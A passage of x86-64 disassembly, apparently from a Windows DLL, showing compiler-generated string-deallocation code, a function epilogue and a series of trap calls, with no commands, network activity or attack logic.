mov qword [rbp + 0x100], 0xf
mov byte [rbp + 0xe8], 0
cmp rdx, 0x10
jb 0x18008ed50
mov rcx, qword [rbp - 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008ed4b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef6f
call fcn.1800afef0
mov rdx, qword [rbp - 0x78]
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], 0xf
mov byte [rbp - 0x68], 0
cmp rdx, 0x10
jb 0x18008eda6
mov rcx, qword [rsp + 0x70]
inc rdx
mov qword [rbp + 0x21e0], rdx
mov qword [rbp + 0x18], rcx
cmp rdx, 0x1000
jb 0x18008eda1
lea rdx, [rbp + 0x21e0]
lea rcx, [rbp + 0x18]
call fcn.180089460
mov rdx, qword [rbp + 0x21e0]
mov rcx, qword [rbp + 0x18]
call fcn.1800afef0
mov r13, qword [rbp - 0x30]
inc dword [0x180106334]
mov r14, qword [rbp + 0x40]
mov r12, qword [rbp + 0x60]
mov rcx, qword [rbp - 0x70]
call fcn.18002af00
cmp eax, 0x64
je 0x18008db92
mov rbx, qword [rbp + 0x21d8]
lea rcx, [rbp - 0x48]
call fcn.1800a77d0
lea rcx, [rbp + 0x48]
call fcn.1800a77d0
lea rcx, [rbp + 0x28]
call fcn.1800a77d0
mov rcx, r15
call fcn.1800a77d0
mov rcx, rbx
call fcn.1800a77d0
xor eax, eax
mov rbx, qword [rsp + 0x22d0]
add rsp, 0x2290
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
cmp r13, 0x10
jb 0x18008ee51
mov rcx, qword [rbp - 0x48]
lea rdx, [r13 + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008ee4c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef69
call fcn.1800afef0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0x10
jb 0x18008ee8c
mov rcx, qword [rbp - 8]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008ee87
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef69
call fcn.1800afef0
mov rdx, qword [rbp - 0x10]
cmp rdx, 0x10
jb 0x18008eec7
mov rcx, qword [rbp - 0x28]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18008eec2
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18008ef69
call fcn.1800afef0
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x18008eefd
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x18008eef8
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18008ef69
mov rcx, r8
call fcn.1800afef0
mov rbx, qword [rbp + 0x21d8]
mov qword [r15 + 0x10], r12
mov qword [r15 + 0x18], 0xf
mov byte [r15], 0
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x18008ef4a
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x18008ef45
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18008ef69
mov rcx, r8
call fcn.1800afef0
mov qword [rbx + 0x10], r12
mov eax, 0xffffffff
mov byte [rbx], 0
mov qword [rbx + 0x18], 0xf
jmp 0x18008edfe
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3
call fcn.1800bb0c0
int3